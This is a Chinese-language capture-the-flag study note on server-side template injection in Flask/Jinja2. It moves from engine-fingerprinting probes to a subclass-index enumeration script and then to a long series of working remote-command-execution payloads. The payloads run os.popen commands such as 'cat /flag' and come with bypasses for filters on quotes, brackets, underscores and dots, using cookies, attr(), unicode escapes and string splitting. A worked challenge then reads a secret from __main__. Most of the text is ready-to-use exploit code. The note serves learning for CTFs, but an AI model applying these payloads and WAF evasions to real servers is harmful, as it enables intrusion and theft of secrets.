测试是什么模板

Jinja2(Flask 最常见)

payload:{{7*7}}返回 49 → Jinja2

Freemarker

payload:${7*7}返回 49 → Freemarker

Thymeleaf

payload:[[${7*7}]]返回 49 → Thymeleaf

Velocity

payload:#set($a=7*7)${a}返回 49 → Velocity

ASP Razor

payload:@(7*7)返回 49 → Razor

PHP Smarty

payload:{7*7}返回 49 → Smarty

Java JSP

payload:<%=7*7%>返回 49 → JSP

通杀SSTI

你的起点:()
    ↓
object 基类
    ↓
os._wrap_close 类
    ↓
__init__
    ↓
__globals__       <--- 这里是 os 模块空间
    ↓
__builtins__     <--- 这里是 Python 内置工具箱
    ↓
eval()           <--- 执行任意代码
__import__()     <--- 导入任意模块
open()           <--- 读取任意文件

寻类索引脚本

import requests
import re

requests.packages.urllib3.disable_warnings()

# ==========================================
# 【下次只用改这里!】
URL = "https://d601a325-bf75-417a-888d-15786fdad77c.challenge.ctf.show/"
PAYLOAD = "{{''.__class__.__base__.__subclasses__()}}"
TARGET_CLASS = "warnings.catch_warnings"
# ==========================================

params = {
    "name": PAYLOAD
}

print("[+] 正在获取所有子类...")
r = requests.get(URL, params=params, verify=False, timeout=15)
content = r.text

if TARGET_CLASS in content:
    print("[+] 找到目标类,正在计算索引...")
    parts = content.split(", ")
    for index, part in enumerate(parts):
        if TARGET_CLASS in part:
            print(f"\n=====================================")
            print(f"✅ 成功找到!索引编号 = {index}")
            print(f"=====================================\n")
            break
else:
    print("[-] 未找到目标类")

只需要改url、类名、payload

''.__class__.__base__.__subclasses__.

().__class__.__base__.__subclasses__.

[].__class__.__base__.__subclasses__.

"".__class__.__base__.__subclasses__.

{}.__class__.__base__.__subclasses__.

包含eval()函数的子类类

warnings.catch_warnings

"warnings.catch_warnings"——__globals__——'eval': <built-in function eval>

payload:

{{[].__class__.__base__.__subclasses__()[185].__init__.__globals__.__builtins__['eval']('__import__("os").popen("ls /").read()')}}

重点:

  • built-in function”是指内置函数,例如 eval, exec, len, open
  • 所以built-in function指的是builtions模块中的eval、len、print等函数
  • builtins是一个模块,__builtins__
  • __builtins__ 就是 Python 的 “万能工具箱”Python 启动时,自动给你准备好的所有自带函数,全都放在这里面。 例如:
  • eval()
  • print()
  • open()
  • int()
  • str()
  • __import__()

OS模块

lipsum函数

lipsum():生成一段随机的英文假文(乱码英文),用来做网页占位测试。

但是它运行在flask的全局环境中,flask在启动时,加载 lipsum 这个工具,自动导入了os模块

命名空间中就有os模块

payload:

{%print(lipsum.__globals__['os'].popen('dir').read())%}

简洁版本+未过滤{}:

{{lipsum.__globals__.os.popen('ls').read()}}

OS子类

os._wrap_close

paload:

一般为132、133

{{().__class__.__base__.__subclasses__()[132]}}

过滤{}

过滤{},可以使用%%

payload:

{%print("".__class__.__base__.__subclasses__())%}

外部需要{%print()%},内部都是一样的,lipsum或者""、[]、()、{}……

后续就是查看命令执行的子类了

过滤单引号和双引号和args

过滤单引号可以使用传参方式:

get传参

原格式为:

?name={{().__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls /').read()}}&popen=popen&cmd=ls /

传参格式为:

?name={{().__class__.__base__.__subclasses__()[132].__init__.__globals__[request.args.popen](request.args.cmd).read()}}&popen=popen&cmd=ls /

使用的是os模块子类<class 'os._wrap_close'>, 这个子类可以调用os模块进行命令执行

POST传参

cookies传参

不允许使用args了,过滤了args

?name={{url_for.__globals__[request.cookies.a][request.cookies.b](request.cookies.c).read()}}

然后使用hackbar添加cookie参数进行传参,在图片右下角

过滤中括号[]

可以用pop(索引值)

{%print("".__class__.__base__.__subclasses__()[185])%}

可以使用为:

{%print("".__class__.__base__.__subclasses__().pop(185))%}

魔术方法__getitem__也可代替中括号,绕过中括号过滤,payload:

# 当中括号被过滤时,如下将被限制访问
{{ ''.__class__.__base__.__subclasses__()['13'].['popen']('cat /flag') }}
 
# 可使用魔术方法__getitem__替换中括号[],payload如下:
{{ ''.__class__.__base__.__subclasses__().__getitem__(13).__getitem__('popen')('cat /flag') }}

使用点绕过:以下可在过滤了单引号、双引号、[]、args情况下使用

原样:

{{url_for.__globals__['os']['popen']('ls /').read()}}

绕过形式:

{{url_for.__globals__.os.popen(request.cookies.c).read()}}

过滤下划线__

使用attr(),attr() = 用来获取一个对象的 属性 / 方法,以下在过滤了单引号,双引号,args,[],下划线的情况下仍可以使用

绕过姿势:

(对象 | attr("属性名"))
?name={{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}}

如果在第一个类之后,还要再连续提取,格式为:

{{(lipsum|attr(request.cookies.b)|attr(request.cookies.c)).popen(request.cookies.a).read()}}

注意:

最外层有(),(lipsum|attr())最外层有()是为了把前边的部分当成一整个对象,所以再加一个attr()还是需要在括号内

过滤点和下划线

需要利用attr()和unicode编码

原payload为:

test?url={%print(((lipsum|attr("__globals__"))|attr("get")("os"))|attr("popen")("cat /f*")|attr("read")())%}

通过unicode编码后的payload为:

test?url={%print(((lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f"))|attr("\u0067\u0065\u0074")("os"))|attr("\u0070\u006f\u0070\u0065\u006e")("\u0063\u0061\u0074\u0020\u002f\u0066\u002a")|attr("\u0072\u0065\u0061\u0064")())%}

payload中需要注意的点是:

  1. 格式需要注意,(lipsum|attr("__globals__"))是一个对象需要放在一个()括号下
  2. ((lipsum|attr("__globals__"))|attr("get")("os"))又是一个对象,需要放在同一个()括号下

payload思路是:

  1. lipsum属于jinjia2的内置函数,只要是jinjia2的内置函数,都可以通过__globals__获取jinjia2模板全局命名空间中的os模块
  2. Jinja2 内置函数 / 对象,都可通过__globals__切入所属全局命名空间
  3. Jinja2 的渲染环境是 Flask 提供的 → 里面自带 os 模块
  4. 所有函数的 __globals__ 都会指向它所属的模块全局命名空间

解码网站:

https://www.jyshare.com/front-end/3602/

编码目的为:

  1. waf会对输入进行过滤,但是waf不认识unicode编码,会进行放行,jinjia2模板会自动进行解码执行
  2. 下划线和点被过滤了,过滤下划线还可以使用cookies传参的方式来进行,但是过滤了点,为了兼容,就只能使用unicode进行编码
def to_unicode_escape(s):
    return ''.join([f'\\u{ord(c):04x}' for c in s])

# 填入要编码的字符串
str1 = "__globals__"
str2 = "popen"
str3 = "cat /f*"
str4 = "get"
str5 = "read"

print(to_unicode_escape(str1), end='\n\n')

print(to_unicode_escape(str2), end='\n\n')

print(to_unicode_escape(str3),end='\n\n')

print(to_unicode_escape(str4),end='\n\n')

print(to_unicode_escape(str5),end='\n\n')

只过滤点 .

只过滤点,可以使用[]代替:

{{lipsum.__globals__.os.popen('ls').read()}}
code={{lipsum["__globals__"]['os']['popen']('ls')['read']()}}

过滤:bl["class", "arg", "form", "value", "data", "request", "init", "global", "open", "mro", "base", "attr"]

可以利用了 Jinja2 模板引擎的“字符串字面量自动拼接”特性,从而欺骗了后端的黑名单过滤器

code={{lipsum['__glob''als__']['os']['pop''en']('ls').read()}}

简单来说就是,过滤和解析之后的结果是不一样的,就是执行过滤的时候看是拼接的字符串,但是解析后,后端会把分开的内容进行拼接解析

典型题目一:删除系统的flag变量,然后main中留存的有

ez_ssti

from flask import Flask, request, render_template, render_template_string
import os
app = Flask(__name__)

flag=os.getenv("flag")		//获取操作系统env中的flag变量,此时main的全局命名空间中也存了一份
os.unsetenv("flag")			//然后这里把操作系统env中的flag给删除了
@app.route('/')
def index():
    return open(__file__, "r").read()


@app.errorhandler(404)
def page_not_found(e):
    print(request.root_url)
    return render_template_string("<h1>The Url {} You Requested Can Not Found</h1>".format(request.url))


if __name__ == '__main__':
    app.run(host="0.0.0.0", port=8000)
  1. 就是每个文件自己运行时,自己就是main,然后这题是os.getenv,是对操作系统进行操作,也就是os,然后flag实质已经存在了,main中,然后把操作系统的flag给珊了
  2. __main__:它是当前直接运行的那个文件(脚本)被 Python 加载后生成的模块对象 (Module Object)
  3. __builtins__是python出厂自带的工具箱,也是python内置的模块字典,其中包含了len、print、open这些函数,需要使用中括号来访问里面的东西
  4. __builtins__拿出__import__ 这个工具,去导入外部的 sys 模块
  5. import是导入的意思
{{x.__init__.__globals__['__builtins__']["__import__"]('sys').modules['__main__'].flag}}
x 👉 【起点】随便抓一个模板里能用的对象当“跳板”。
.__init__ 👉 【潜入】进入这个对象的初始化方法。
.__globals__ 👉 【翻抽屉】打开这个方法所在文件的全局变量字典。
['__builtins__'] 👉 【找暗门】在字典里找到 Python 出厂自带的内置工具箱。
["__import__"] 👉 【拿提货单】从工具箱里拿出“万能模块导入函数”。
('sys') 👉 【召唤外援】用提货单强行把 sys 系统模块拉进内存。
.modules 👉 【查花名册】打开 sys 里的“已加载模块登记册”。
['__main__'] 👉 【锁定目标】在花名册里找到正在运行的主程序(app.py)。
.flag 👉 【收网拿钱】直接读取主程序内存里存着的那个 flag 变量!

用__init__作为跳板,python中万物皆对象

用我自己的话来说就是:

首先是使用__init__方法作为跳板,然后再使用__globals__查看全局命名空间,然后找到内置字典模块,然后使用import导入sys,sys中的modules中存的有已经加载的模块的名字,然后找到主程序__main__模块,然后再查看主程序的flag属性

为什么可以使用__init__做为跳板

这个问题的核心在于 Python 的一个基本设计理念:“万物皆对象”。

__init__ 虽然名字叫“初始化”,但它本质上是一个函数对象 🛠️。

在 Python 中,任何一个函数在执行的时候,都需要知道自己能访问哪些外部的全局变量。为了方便,Python 解释器会自动给所有的函数对象配备一把通往全局字典的“钥匙” 🔑,也就是 __globals__ 属性。

所以,当我们拿到 x.__init__ 时,我们并不是在执行它,而是把这位负责初始化的“工程师”请了出来,然后直接搜他身上带着的那把钥匙(__globals__),从而打开了全局变量的大门 🔐。

既然只要是个函数/方法就能当跳板,除了 __init__,对象身上还有很多其他的内置方法。比如,当我们在代码里用 str(x) 把一个对象转成字符串打印出来时,Python 底层其实偷偷调用了 x 身上的一个特殊方法。

为什么删除了系统中的flag,__main__主程序中还存在flag?

假设出题人把菜谱(文件里的 flag)写在了一张纸条上。在餐厅刚开门(程序启动)的时候,厨师(Python 解释器)把纸条上的内容看了一遍,并记在了脑子里(赋值给了 __main__ 模块里的 flag 变量)。

随后,出题人为了防止别人偷看,把那张纸条给撕了(删除了系统文件或环境变量 🗑️)。

但是,纸条被撕掉,并不会让厨师瞬间失忆!只要餐厅还没关门(程序没有重启),厨师脑子里的记忆(内存中的变量)就依然存在。

在 Python 中也是同理。当程序启动时,flag 的值就已经被读取并加载到了主程序(__main__ 模块)的内存空间里。之后出题人即使在操作系统层面删除了原始的 flag 文件,也无法抹除已经驻留在 Python 内存中的变量。所以,我们通过 SSTI 深入内存去访问 __main__ 时,依然能把这个变量“抓”出来。

Logo

AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。

更多推荐